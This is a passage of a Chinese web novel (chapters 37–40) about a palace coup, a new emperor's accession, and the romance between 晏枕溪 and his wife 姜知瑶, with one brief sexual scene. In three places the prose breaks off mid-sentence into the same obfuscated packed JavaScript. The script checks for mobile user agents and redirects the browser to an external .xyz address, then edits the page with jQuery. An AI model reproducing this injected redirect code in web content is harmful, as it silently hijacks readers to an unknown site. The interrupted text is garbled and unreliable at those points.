烛光旁，晏枕溪将香囊拿近，摩挲了几下上面的图案后，又轻嗅了下，除了桂花的香味后，晏枕溪觉得，还有淡淡的，姜知瑶手膏的香味。 晏枕溪又笑了起来，她现在在干什么呢。 他不在的时候，有好好睡觉吗。 夜间她总会轻拂下去的被子，今晚会好好盖在身上吗。 37. 新帝 两天后的午夜。 原本此刻应该寂静的寝殿内灯火通明，殿前有许多人正在等候着。 几个皇子正围在龙床前，圣上看上去已经奄奄一息，连一个字都说不出来。 圣上只让几个皇子入内，他不喜人多，在弥留之际，他只想再看下他的孩子们。 他身旁的一个太监站了出来，念起了传位诏书。 “奉天承运…”刚念完四个字，下一秒，太监的人头就已经落地。 是二皇子拔剑。 “你这是要做什么？”三皇子很是诧异地问道。 床上的圣上瞪大了眼睛，咿咿呀呀想说什么，但努力许久也只能发出一些无意义的音节。 “哼。”二皇子冷笑一声，“这还看不出来吗？” 殿内突然涌上许多人，将三皇子和四皇子压制住。 “圣上驾崩前，将皇位传位于四皇子，结果三皇子愤懑，竟当殿行刺于四皇子，眼看皇位就要被心怀不轨之人夺取，二皇子圣明，及时将三皇子压制。” 二皇子一本正经地讲述着，想来这段话对他来说已经烂熟于心，竟还带了几分跌宕起伏的语气。 “你们放心，消息我已经传出去了，等天一亮，我将会是名正言顺的天下之主。”话语里是掩饰不住的兴奋与野心。 “你怎么敢？！”三皇子一脸震惊，像是不相信他会这么做一样。 四皇子倒是一脸无所谓，垂头看着地面，什么话也没说。 床上的圣上用力将手抬起，想抓住什么却又无能为力。 “我为什么不敢？”二皇子笑了起来。 “我不仅敢，我还能做到。”二皇子满脸春风得意，仿佛皇位已经是他的囊中之物。 “我那好哥哥被贬为庶人后，他那些留下来的官员党羽和势力大部分都为我所用。” “而你。”二皇子鄙夷地看向三皇子，“一介武夫，不成气候。” “就是一个傻子，让你守边疆就守边疆，还一副感恩戴德的样子，真是蠢。” “至于你，我的好弟弟。”二皇子走到了四皇子面前，带着几分轻蔑地拍了拍他的脸颊。 “把饭喂到你嘴边都吃不明白，那个老头可是把最好的东西都给你了。” “结果你干了什么？！”二皇子的语气突然拔高，像是无比气愤，脸因嫉妒而显得有些扭曲，“我费尽心思才能求来的东西，你唾手可得就算了，得到后却还不好好利用，将其弃之一旁，整日想着游乐，真是没见过比你还废物的皇子了。” “不过也多亏你，你不屑一顾的那些人和势力，不过稍稍笼络，便迫不及待的来到了我的麾下。”说到这里，二皇子的脸上露出了掩饰不住的得意。 “也不知道父皇怎么想的，竟还想把皇位传给你？！竟偏心至此。” 二皇子踏上了一个台阶，振臂道：“我才是最应该坐上那个位置的人！” 他身后龙床上的圣上只能徒劳地瞪大眼睛，什么都无能为力。 - “小姐。”南枝犹豫着，将听到的消息告诉了姜知瑶。 今晚是京城里许多人的不眠之夜，姜知瑶也不例外。 听完南枝的话后，姜知瑶攥紧了手中的帕子，心里止不住的焦急。 虽然理智上知道不用当真，但姜知瑶还是止不住心慌。 “小姐。”南枝有些心疼地看着姜知瑶，“要不先睡吧，有什么事我会叫小姐的。” “没事。”姜知瑶摇了摇头，“我现在睡也睡不着。” “南枝，你困了话先去睡吧，我无事，就在房间里看会书，实在累了会去睡的。” “我不困。”南枝说道，想了想问，“小姐，要不我陪你下棋吧？” 之前姜知瑶最开始学会下棋后，就教了南枝，后面时常也会一起下。 姜知瑶应了下来：“好。” 过了大半个时辰后，姜知瑶收起棋子：“我们先睡吧，太晚了。” “好。”南枝打了个哈欠，“小姐，我去睡了。” “嗯。”姜知瑶垂眸应道。 - 皇宫内。 二皇子还在洋洋得意着：“现在宫内宫外都被我的人给控制住了，你们就老老实实认输吧。” “哦？”不远处突然传来了一道平静的声音，“二皇子威风，不过，二皇子确定，那都是你的人吗？” 二皇子震惊地看着眼前的来人：“晏枕溪？！你……” 晏枕溪此时未带眼纱，也没有了一起刻意伪装出来的温润气质。 与此同时，押住三皇子的人也都松开了手，退后一步垂头站在一旁。 “三皇子。”晏枕溪走近向他问了个好。 三皇子一改之前惊讶小心的样子，揉了揉肩膀，漫不经心地说道：“一介武夫？不好意思，怕是要让好哥哥失望了。” 接着二皇子被人压制住，还顺势被堵住了嘴。 三皇子笑着说：“之前我还想着怎么名正言顺地登上那个位置呢？还多亏了你。” “圣上驾崩前，将皇位传位于四皇子，结果二皇子愤懑不平，竟当殿行刺于四皇子，眼看皇位就要被心怀不轨之人夺取，三皇子圣明，及时将二皇子压制。” “如何？”三皇子挑眉看向二皇子。 二皇子被堵住了嘴，说不了话，但从他瞪大的眼和呜呜咽咽的声音可见几分他此刻的愤怒。 之前一个字没说的四皇子开口了：“三哥哥，我一直都知道你的谋划，我对皇位没兴趣。” “我知道。”三皇子点了点头。 四皇子垂眸继续说道：“我不想当皇子了。” “好。”三皇子摆了摆手，四皇子被松开，“那等过段时间，都平息下来后，我再给弟弟重新安排个身份可好？这段时间先委屈一下弟弟了。” “多谢皇兄。” 三皇子没有再多说什么，接着就是一阵安排，寝殿内重新安静了下来。 殿内唯余三皇子和晏枕溪，还有圣上。 不知何时，圣上已经驾崩了。 他自己怕是也没想到，向来高高在上的一代帝王，生命最后一刻的消亡竟然是在之后才被发现的。 三皇子走到龙床前，垂眸看着他。 “皇上驾崩。”不多时，殿外传来一道悲痛的声音，紧接着，哭声此起彼伏的在殿外响起。 这哭声中的虚情假意和真情都有多少，无人知晓。 这一晚的皇宫灯火通明，所有人都在忙碌着。 晏枕溪加紧处理完些简单的事情，就想先回府上。 “诶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204910|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”新帝拦住了晏枕溪，“何必这么麻烦，朕让人收拾一个宫殿给你宿下便好了，省得来回。” “皇上。”晏枕溪拱手说道，“臣想去看看夫人，明天我会尽早赶过来的。” “那好吧。”皇帝也不能再说什么，毕竟晏枕溪的夫人也是婉清的妹妹。 他也想婉清了，想到这里皇帝不免生出了几分冲动。 “对了。”他叫住要离开的晏枕溪，“你什么时候和你夫人说眼睛的事？” 晏枕溪离开的脚步顿住，转头对皇帝说：“臣想再过一段时间，也还请陛下帮忙。” “随你。”皇帝摆了摆手。 “多谢陛下。”晏枕溪离开了宫殿。 紧赶慢赶回到晏府，已经很晚了，他没有惊动任何人，静悄悄地回到了寝室里。 看着一旁睡得不太安稳的姜知瑶，晏枕溪轻吻她的眉眼，将她抱入怀中。 - “小姐！”南枝笑着小跑进来，“三皇子登基了，纪小姐被封为皇后了！” 姜知瑶此时才刚睡醒，因为睡的时候不长，还有些迷茫，听到南枝的话后立马清醒了过来。 “真的？！”姜知瑶此时喜上眉梢，心中悬起的石头轰然落地。 “真的不能再真了！”南枝也一副喜悦的神情。 “那就太好了。”姜知瑶脸上满是抑制不住的笑意。 “夫人。”门口传来声音，“晏大人说他今日白天还要在皇宫忙碌一会，让您不要担心，他晚上就回来。” “好。”姜知瑶点头应下。 她昨天前半夜睡得很不安稳，迷迷糊糊中感觉到有人来了，在熟悉的气息中才彻底沉沉睡去，还以为是晏枕溪回来了，想来应该是自己的错觉。 如今正是忙的时候，他昨夜应该宿在皇宫里了吧。 姜知瑶下床洗漱完，用过早膳，便出府来到了茶楼里。 “瑶瑶瑶瑶！”是程明珠兴奋的声音，“我在这里！” “我竟然成了皇后的好姐妹了哈哈哈。”还没等姜知瑶坐下，程明珠就说了起来。 程明珠信誓旦旦地说：“我第一次看到纪婉清就知道，她以后肯定会辉煌腾达的。” 不知道最开始总是怼纪婉清的是谁，姜知瑶没忍住笑了出来。 “啊，不对不对。”程明珠摇了摇头，“以后要叫她皇后了。” “哈哈哈哈哈哈哈，我看一会去宴会上谁还敢惹我！我的好姐妹是皇后诶。” “那我现在岂不是皇后的妹妹。”姜知瑶也学着程明珠的语气略显惊喜地说道。 “当然是啊！”程明珠说道，“以后看谁还敢欺负你！要是晏枕溪欺负你，都不用我带你私奔了，你直接休了他！” 说到这里程明珠有些上头：“晏枕溪不过是四品官，哪里配得上皇后的妹妹。” 她当初就不喜晏枕溪娶姜知瑶，尤其是婚后，觉得他占了瑶瑶许多时间。 “好了，明珠。”姜知瑶笑着轻轻拍了拍她的手。 算了，程明珠想，他确实在婚后对瑶瑶还算好。 程明珠止住了话，说起了其他的：“对了，我今天才知道，我爹竟然帮的是三皇子，哦不对，现在应该叫陛下，我爹就是有眼光啊哈哈哈，今天一早他晋升的圣旨就到我们府上了……” 38. 皇后 “阿瑶。” 夜晚，姜知瑶正沐浴完坐在塌上刺绣，听见门口传来一声呼喊。 “枕溪！”姜知瑶有些雀跃地回道，刚起身就被晏枕溪抱了个满怀。 感受到自己的颈边被人轻蹭，姜知瑶没忍住笑出了声：“好啦。” “阿瑶。”晏枕溪窝在姜知瑶颈间闷声说道，“这几天好累。” 还好想你。 昨晚回来，以为自己看看阿瑶会好一点，结果今早离开后却是愈发思念。 “有头疼吗？”姜知瑶听到有有些担忧地轻声问道。 “有。”晏枕溪点了点头。 没有阿瑶在旁边，再加上这几天的劳累，他确实有些头疼。 “你躺下来，我帮你按按。” “好。”晏枕溪顺从地跟姜知瑶来到床边，枕在了她的腿上。 姜知瑶按了一会后，听见晏枕溪渐渐平稳的呼吸，试探性地轻声喊了下：“枕溪？” 灯光下，姜知瑶眉眼温柔，帮晏枕溪慢慢解开了他的眼纱。 然后动作轻缓地离开，帮晏枕溪枕好枕头，盖好被子。 第二天姜知瑶醒来的时候，身边已经没有晏枕溪的身影了，伸手去摸，也只触到一片冰凉。 姜知瑶垂眸，忽地想，早知道昨天睡前亲亲他了。 “小姐。”南枝今日依旧一脸兴奋地进来说，“宫中人来了，说皇后想请小姐您和程小姐前去叙下，若是有事可以下次再寻时间。” “真的？没事没事，我现在就去！”姜知瑶一脸高兴的问道，她还以为纪姐姐现在忙，一时半会不能见面呢。 姜知瑶连忙从床上起来去洗漱。 大半个时辰后。 “纪姐姐！”一见到纪婉清，姜知瑶便迫不及待地喊道。 喊完后才觉得有些失礼，连忙行了个礼：“皇后娘娘。” 行礼的动作有些生疏，姜知瑶还未行完礼抬头，便被纪婉清伸手重重拍了下脑袋。 “嗯？”其实不痛，但姜知瑶有些懵，抬头愣愣地看着纪婉清。 “叫什么皇后娘娘，这里就我们几个。”纪婉清看上去有些难过的说，“也不用行礼，瑶瑶现在是与我生分了吗？” “没有没有。”姜知瑶连连摆手，离纪婉清更近了一点，拉住了纪婉清的手，“纪姐姐。” 纪婉清摸了摸姜知瑶的头，然后轻捏住了姜知瑶的脸颊肉：“我永远都是你的纪姐姐。” “嗯。”姜知瑶乖乖点头，被纪婉清拉着坐了下来。 程明珠没有行礼，很自然地坐了下来：“我可不想被你打。” “你不忙吗？”程明珠好奇地问道，“我和瑶瑶以为你起码还要过几天才有空呢。” 纪婉清叹了口气：“何止是不忙，简直是太闲了。” “我都已经做好要忙很久的准备了，结果这里没有其他要我安排的妃嫔，宫中的一切事物有专门的人管理，都井井有条，昨天只花了一个上午就都处理好了。” “昨天下午我就想见你们了，但还是有点仓促，怕时间不够用，所以今天一早就想让你们过来。” “对了，你们尝尝这个龙凤团茶。”纪婉清难得感叹道，“宫中的东西确实好啊，我等会派人送点到你们府上。” - 晏枕溪今日也在皇宫中，因为刚刚开始有许多事需要他处理，所以他现在基本上白天都在皇宫里。 他此刻并不在处理事务。 但凡让一个认识他的人看到了他现在在干什么，怕都会认为晏枕溪疯了。 向来运筹帷幄的神情此刻有些凝重地看着手中的东西。 他现在正在缝东西。 缝的东西还是最初期的状态，看不出来到底是什么。 “晏大人。”门口传来了敲门声。 晏枕溪将手中的东西放进一旁的篮子里，再用一块布盖好，系好眼纱，淡声道：“进来吧。” 是前来议事的几个官员。 “晏大人，礼部这边的……” “晏大人，还有户部这边的……，陛下让下官来询问晏大人。” “晏大人，还有关于……” 晏枕溪井井有条地按照他们的请求安排下去，等都处理好后，已经过了大半个时辰了。 几位官员要退下的时候，他们面面相觑了一会，一个人站了出来询问：“晏大人，您的眼睛还好吗？” 他们几个的官职与现在的晏枕溪来比都要高，尊称一声晏大人，不过是因为知道他之前一直在辅佐新帝，而且是因为陛下的吩咐。 按目前陛下的意思来看，晏枕溪指不定会被晋升到比他们还高的官职，可不知为何，陛下一直迟迟没有下晋升晏枕溪的诏书。 他们都是朝中大臣，对着晏枕溪一个年轻后辈卑躬屈膝还是难免会有些不悦，尤其是，这个人还双目失明。 像这种程度的残疾，让他保留个四品官已是先帝恩赐，如今怎么可以再让他晋升？ 陛下迟迟未下晋升的诏书，怕也是因为这个。 哪怕这两天下来，他们知道晏枕溪确实有能力，但他们还是心有不满，觉得最重要的不过只是因为之前晏枕溪站对了人而已。 现在问晏枕溪眼睛，也是因为他们想隐晦地提醒晏枕溪，希望他能意识到自己的不足。 “多谢各位大人关心了。”晏枕溪淡声说道，“陛下垂怜，帮在下寻了位名医，不日将医好在下的眼睛。” “噢噢。”那名询问的官员一愣，随后连忙说道，“那就好那就好，恭喜晏大人了，在下祝晏大人早日康复。” 其他官员也跟着祝贺道，随后心思各异地离开了。 等人都走后，晏枕溪掀开了那盖在篮子上面的布，拿起了里面的东西，继续之前的动作。 他想做一个布娃娃给姜知瑶。 有关与自己眼睛的事情，晏枕溪并不想一直隐瞒姜知瑶，而且对于这件事，确实是自己的不对。 就算提前告诉姜知瑶，也不会对于计划有太大的影响，但因为自己的哪一点私心，晏枕溪一直没能开口。 所以晏枕溪想给姜知瑶一个赔礼，在不知道要送什么的时候，他看到了床上的布娃娃。 姜知瑶刚把她的布娃娃放在床最内侧的时候，晏枕溪就发现了，样子是一个很可爱很精致的小兔子。 只有晏枕溪一个人在房间里的时候，他拿起过那个小兔子，捏起来很柔软，很是新奇，是他从未没见过的，那两个缝上去的兔耳朵也毫不违和，就连兔子的短尾巴都有，和真正的兔子有些不同，但晏枕溪觉得这个样子更加可爱。 布娃娃有些旧了，但看得出主人对它很用心，被打理的很好，干干净净的。 而且许是因为姜知瑶经常带着，上面浸满了她的味道，有股淡淡的香味。 晏枕溪知道姜知瑶很喜欢那个布娃娃，有时他会看到姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233131|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知瑶给那个布娃娃绣一个非常小巧的香囊，然后挂在布娃娃的身上。 所以晏枕溪打算做一个一模一样的布娃娃给姜知瑶，等自己做好后，就把关于眼睛的事情从头到尾告诉姜知瑶。 但是，晏枕溪皱眉看着手中的东西。 怎么做起来如此之难。 在书房里，很多时候看上去他是在读书，但其实晏枕溪一直在看着姜知瑶。 怎么阿瑶绣起来就那么容易顺畅。 在又一次缝歪针脚后，晏枕溪放下了手中的东西，转而拿起一旁有关刺绣的书看了起来。 夜晚，晏枕溪回到府上。 “夫人呢？”晏枕溪看着空无一人的房间问道。 “回大人。”一旁的侍从回道，“夫人今早被皇后叫去宫中了，现在还没有回来。” “没有派人来说什么吗？” “没有。”侍从回道。 晏枕溪垂眸：“知道了，你下去吧。” 不知过了多久，姜知瑶小心翼翼地推开房门。 和纪姐姐还有明珠玩得太开心了，一不小心就忘记了时间，等记起要回府，才发现已经很晚了。 回来后问过府中的侍从，知道晏枕溪一个时辰前就已经回来了。 现在应该已经睡着了吧？ 姜知瑶看着漆黑寂静的房间，轻手轻脚地走了进去。 “阿瑶。”冷不丁的听见一道声音，把姜知瑶吓了一跳。 姜知瑶连忙看去，这才发现原来晏枕溪正坐在床边，身上还穿戴整齐，看上去没有半分要入睡的样子。 “枕溪。”反应过来后姜知瑶安抚地拍了拍自己的胸膛，“我还以为你已经睡着了。” “为什么不点灯啊。”姜知瑶走过去，将烛灯点了起来。 等问完话后，姜知瑶懊恼地皱了下眉，自己在问些什么啊，他一个人在的时候当然不会点灯了。 姜知瑶走到了晏枕溪身边，轻声问道：“怎么还不睡？” 察觉到姜知瑶靠近，晏枕溪抱住姜知瑶，声音听上去有些闷：“我在等你。” “抱歉。”姜知瑶有些歉意地说道，摸了摸晏枕溪的脑袋，“我忘记让人来告诉你了，会晚点回来。” “无事，我还以为阿瑶今日不回来了。”晏枕溪抱住姜知瑶，像是在汲取她身上的气息一样。 “不会的。”姜知瑶拍了拍晏枕溪，“家里还有枕溪呢，我怎么可能会不回来。” “嗯。”晏枕溪的声音很轻，慢慢松开了环抱住姜知瑶的手。 姜知瑶要离开他身边的时候，晏枕溪又拉住了姜知瑶的手：“我帮阿瑶取下发饰吧。” “好。”姜知瑶顺着坐到了晏枕溪的旁边。 晏枕溪的动作很轻很慢，姜知瑶有些没忍住笑着说：“直接取下来就好了，不用太小心。” 他的样子就像是在对什么稀世易碎的珍宝一样，取完发饰后，姜知瑶去洗漱，晏枕溪先褪下了衣物上床。 等姜知瑶也上床后，晏枕溪立刻将她揽入了怀中。 “阿瑶。” “嗯？”姜知瑶轻声询问道。 “就是想叫下你。”闻着姜知瑶发间的香味，晏枕溪觉得之前独自在屋里等待的空虚和焦急在慢慢被其他的东西填满。 晏枕溪想，等布娃娃做完后，他就不会再一直在皇宫里处理事务了，在府上也是一样的。 想一直待在阿瑶身边。 39. 首辅 “小姐！”姜知瑶刚起，南枝今日又兴冲冲地跑了进来，“姑爷现在是首辅了！刚刚上早朝的时候颁的圣旨。” 姜知瑶一时有些懵，见她没有说话，南枝将刚刚的消息再说了一遍。 “现在整个京城都传开了，说姑爷是有史以来最年轻的首辅呢。” 姜知瑶笑了起来，一副与有荣焉的样子。 南枝继续兴奋地说：“姑爷的眼睛也要没事了，陛下给姑爷寻了个名医，听说再过段时间眼睛就要好了。” “真的？！”这回姜知瑶是彻底开心了起来，她笑弯了眼，发自内心地为晏枕溪感到高兴。 今日无事，姜知瑶待在府中，处理着一些事务。 许是因为一个人独处，总是容易多想。 刚听闻消息时的高兴现在有些被冲散，姜知瑶看着手中的账本，一时心不在焉。 晏枕溪昨天怎么不和她说眼睛要好了的事情呢。 在心里告诉自己不要多想，姜知瑶继续看起了手中的账本。 今日用晚膳时，晏枕溪回来了。 “已经慢慢稳定下来，重要的事务都也安排完了。”坐下来后晏枕溪主动和姜知瑶说道，“日后我都会尽量在晚膳前回来的。” “等再过一段时间完全稳定下来后，我上完早朝处理完事务就回来。” “好。”听完后姜知瑶有些高兴，笑着应道。 过了一会，姜知瑶想起什么，但见晏枕溪没有再说话，也便没有开口。 用过晚膳后，有几个官员前来寻晏枕溪议事，直到快就寝的时候晏枕溪才得空。 坐在床上，姜知瑶犹豫一会还是问道：“枕溪，你的眼睛怎么样了……” 还未等姜知瑶说完，晏枕溪有些懊恼地开口：“抱歉，是我忘记了，忘记同阿瑶说了。” 他是真的忘记了，平时已经习惯了带着眼纱与阿瑶相处，回来后也只想着与阿瑶亲近，根本没想起这个。 而且主要是对着姜知瑶说眼睛的事情晏枕溪有些难得的心虚。 那个布娃娃一定要做好看了再送给阿瑶，晏枕溪想。 晏枕溪尽量忽略心底的那些想法，认真地说道：“陛下几日前寻到了一位民间擅治眼的医师，看过后说我的眼睛可以医好，不过还要一段时间，慢慢来。” “那就好。”没听到晏枕溪说前，姜知瑶觉得还是有点不真实的感觉，现在听到他亲口告诉后也是彻底放下心来，“要怎么治疗呢？” “平时针灸再加上喝药就好了。” “会痛吗？”姜知瑶有些担心，之前都以为已经没有可以挽回的余地了，如今有办法了，欣喜之余，姜知瑶还有点怕治疗的手法会和正常的不太一样。 “对了，那这期间还可以和以前一样按摩吗？有没有什么不能按到的穴位？”还没等晏枕溪回答，姜知瑶接着问道。 “不会的。”晏枕溪笑着安抚道，“就是很正常的治疗。” “按摩可以的，一切都正常。” “那有说大概要多久可以好吗？”姜知瑶想到什么又问道。 晏枕溪温声道：“没有确定的时间，但大概几周后就可以彻底好了。” 但愿几周后他的布娃娃可以做好。 “那太好了！”姜知瑶笑了起来，之前她还以为要很久，没想到仅仅几周就可以治好。 “你现在感觉怎么样？”姜知瑶凑近了问晏枕溪道。 隔着一层薄薄的眼纱，晏枕溪看着姜知瑶慢慢靠近观察着自己。 许是没有顾忌太多，姜知瑶凑得很近，晏枕溪可以清楚地看见她那根根分明微翘的睫毛。 身上的馨香与温度也隔着空气传来过来。 姜知瑶眼底的欣喜与认真看的晏枕溪心痒，呼吸不免急促了几分。 姜知瑶没有丝毫察觉，只觉得隔着眼神看不清什么：“你的眼纱可以……” 话语未落，姜知瑶便被晏枕溪捧住脸，细细亲吻了起来。 在唇上辗转吸吮了一会后，晏枕溪才进入唇间，慢慢一下下地搅动着，蹭过姜知瑶的舌根。 对于两人来说，太久没有亲吻，一时都有些收不住，直到唇上传来了些刺痛，姜知瑶才推开了晏枕溪。 “痛。”姜知瑶摸了下唇，有些控诉地说道。 “我下次轻点。”晏枕溪声音有些低哑，说完后又轻轻用唇碰了下姜知瑶。 两人相拥的身体还没有分开，晏枕溪低头凑得更近，一点点地往下亲吻到姜知瑶的脖间。 姜知瑶没有说话，只是眼睛有水雾弥漫，搂住晏枕溪的手臂微微收紧。 “嗯。”姜知瑶唇齿间有抑制不住的声音溢出。 看见姜知瑶那好看的眉眼不自觉微皱起来，晏枕溪立马慢了下来：“阿瑶……” “不要停。”察觉到晏枕溪的动作停了下来，姜知瑶不自觉皱眉说道。 晏枕溪低笑了起来：“遵命。” “等等。”下一秒，姜知瑶抓住晏枕溪的肩膀，身体微微颤抖，眼里泪花闪现，喘着气说，“还是……” 话语被堵在喉间。 “唔！”姜知瑶忍不住咬了晏枕溪的舌尖，才得以被放开，“……不行，还是要……” “不会不行的，阿瑶最厉害了。”晏枕溪啄吻了下姜知瑶有些冒汗的鼻尖，低声哄道。 不知过了多久，晏枕溪突然哑声说：“乖阿瑶，叫下夫君好吗……” “夫君……” 室内终于重新归于平静。 - 晏枕溪看着手指上冒出的血珠，放下绣针，叹了口气。 还是有点疼的。 晏枕溪突然想到，阿瑶最开始学刺绣的时候，是不是也会经常被针扎到。 阿瑶如今绣艺这么好，肯定从很小的时候就开始练了。 心里泛起密密麻麻的疼，他知道姜知瑶还在一直卖绣品，晏枕溪想，最开始刺绣的时候，阿瑶是像现在这样喜欢刺绣吗？ 用过晚膳后书房里，姜知瑶和往常一样坐在窗边的塌上刺绣着。 姜知瑶觉得有些奇怪，以前晏枕溪一般都是坐在书桌前读书的，今天怎么在书桌旁待了一会就坐在她旁边了？ 原来是这样绣的啊，晏枕溪用余光认真看着姜知瑶的手法学习。 “枕溪。”“枕溪？”姜知瑶喊了两声晏枕溪才回过神来。 “你在发呆吗？”姜知瑶笑起来，“你看这页已经看了很久了。” “咳。”晏枕溪淡定地翻到了下一页，“这页写得很好，多看了一会。” 耳尖染上很浅的粉色。 姜知瑶看的心动，放下手中是东西，抬手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246247|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧身捏了捏晏枕溪的耳朵。 “嗯？”晏枕溪偏头，语气听上去有些疑惑。 姜知瑶一本正经地解释：“晚上窗边凉，看看你有没有被冷到。” “那有吗？”晏枕溪嘴角上扬，往姜知瑶那边凑近，“阿瑶再帮我摸摸。” 原本还游刃有余的姜知瑶随着晏枕溪的靠近，眨眼速度加快了几分，但很快她又镇定下来：“好。” 晏枕溪没想到姜知瑶会同意，微微抬头看她，姜知瑶刚伸向他耳尖的手因为晏枕溪的动作而落在了耳垂上。 下意识捏了捏，唔，好软。 是有点不符合晏枕溪的软，他的耳垂并不薄，而是有些肉感，姜知瑶没忍住多揉了几下，等松开手时，耳垂泛起了红色，不知道是因为被捏又或者是什么。 见晏枕溪一直没有任何反应，姜知瑶故作淡定，温声开口：“摸好了，没有被冷到。” 放下去的手指无意识地轻轻摩挲了几下。 晏枕溪像是才反应过来，他又靠近一点，轻声说道：“只摸耳朵摸不准的，阿瑶再摸摸其他地方。” 说完他的手便在两个人之间隔着的小桌上摸索着，像是想拉住姜知瑶的手，但许是因为眼睛的问题，一下子没有找到。 姜知瑶犹豫了几秒后，将手递了过去了。 晏枕溪拉住姜知瑶的手，勾了勾唇，将她的手贴在自己脸上。 “阿瑶再好好摸摸，我觉得有些冷。” 姜知瑶看到眼前的场景，呼吸一滞。 晏枕溪带着洁白的眼纱，让人看上去感到几分圣洁，此时却主动贴近掌心，还像是有些依恋般地轻蹭了一下。 她的手掌完完全全地贴在了晏枕溪的脸颊上，手指覆盖住了眼纱，手掌下则是不加任何隔阂的肌肤。 晏枕溪的眼纱向来用得是最好最轻薄柔软的绸缎，但姜知瑶却觉得晏枕溪的皮肤比绸缎还要再细腻上几分。 感受到晏枕溪的呼吸打在皮肤上，姜知瑶的手指没忍住蜷缩了一下，带下来一点晏枕溪的眼纱。 像是扰乱了什么，原本有些凝固且一点点包裹住她的池水流动起来，姜知瑶错开眼，连忙将手拿来。 “已、已经晚了，我先去沐浴。”姜知瑶起身要离开书房。 不行了，姜知瑶重新呼吸起来了空气，这样的晏枕溪看起来比做那事还要让她招架不住。 掌心上晏枕溪的温度仿佛还留在上面，心口酥麻的感觉还留有几分，姜知瑶加快了脚步，离开了书房。 门被有些慌乱地关上，晏枕溪撑住下巴低笑了起来，连眉梢上都染上愉悦。 若是晏枕溪脸上没有眼纱，那刚刚姜知瑶就可以看到，看上去柔软的晏枕溪在蹭她掌心时，眼神视线一直赤裸裸直勾勾地盯着自己，带着浓郁的爱意、占有与欲望，哪有半分柔弱的样子。 晏枕溪不加掩饰的愉悦笑声在书房响起。 阿瑶是真的很喜欢自己啊。 明明都已经做过那种事情了，如今只是相贴都还会让她感到害羞。 好可爱好可爱好可爱。 姜知瑶眼底的喜爱与些许迷恋晏枕溪看得一清二楚，回想起来他又愉悦上了几分。 回味了一会后，晏枕溪起身，整理了下衣服，迈开腿也走出了书房。 去床上等阿瑶好了。 40. 好转 一周后的茶楼里。 “瑶瑶。”程明珠凑近喊了姜知瑶一声。 “嗯？”姜知瑶正听着茶楼里的说书，听见程明珠喊便转头看向她。 纪婉清今日也换了常服出宫，和姜知瑶她们一起来了茶楼，听到程明珠说话也转过头来。 程明珠犹豫了一会开口：“瑶瑶你还好吧？” 姜知瑶有些不解：“怎么突然这样问？” “你有听说你家晏枕溪的事情吗？”程明珠见姜知瑶面露不解便说了起来，“听说他现在让人闻风丧胆，接连抄了好几个朝中大臣的家呢，审讯的手段说是很吓人，一起审讯的人见过后几晚都没有睡着，再嘴硬的人经他审讯不到一个时辰就都吐出来了。” “许多人都说他现在变了，以前是温润如玉的贵公子，现在成了玉面修罗，脸上都变得冷冰冰的，不苟言笑的。” “说是……”程明珠停顿了一会继续说，“因为他之前那段时间双目失明导致他性情大变……” “瑶瑶。”程明珠担心地问道，“他没有对你怎么样吧？” 之前最开始她还原本有些不信，虽然不喜晏枕溪，但也觉得没有到那个地步，可听爹爹说，连他也觉得现在的晏枕溪和以前不一样了，看起来就很不好惹，所以程明珠有些担心他会欺负姜知瑶。 姜知瑶摇了摇头，疑惑道：“没有啊，晏枕溪他还是和以前一样，性格很好很好的，这样会有这样说他的话？” “我倒是有听他和我说，那些被抄家的官员都是贪百姓银两，还有之前犯了事被压下来的。” 一旁的纪婉清听到点点头：“是的，那些大臣都是罪有应得的。” 姜知瑶没有将程明珠的话放在心上：“可能只是那些人乱说的吧，明珠不用担心我，如果我真的有什么事肯定会和你们说的。” “那就好。”程明珠看姜知瑶的神色也不像有事的，放下心来。 晚膳时间，姜知瑶回到了府上，晏枕溪也刚巧才从宫中回到府上。 “阿瑶。”听见姜知瑶回来，晏枕溪笑着喊道。 姜知瑶坐了下来，和晏枕溪说起了今天出府遇到的趣事还有听到的说书。 边说边吃起了桌上的糕点，是晏枕溪觉得姜知瑶会喜欢，从宫中带回来的。 “对了，阿瑶。”等姜知瑶说完后开始用膳，晏枕溪含笑对她说道，“我的眼睛已经好转一些了。” 布娃娃虽然做毁了一两个，但晏枕溪已经逐渐得心应手了起来，他相信用不了多久，就可以做出一个好看的送给姜知瑶了。 “太好了！”姜知瑶连忙放下手中的筷子，用手在晏枕溪眼前摆了摆，语气里满是惊喜，“现在能看到多少啊？” 晏枕溪伸手准确无误地抓住了姜知瑶的手，握住没有松开，温声说：“只能看得清一点点的轮廓，还是很黑很模糊。” 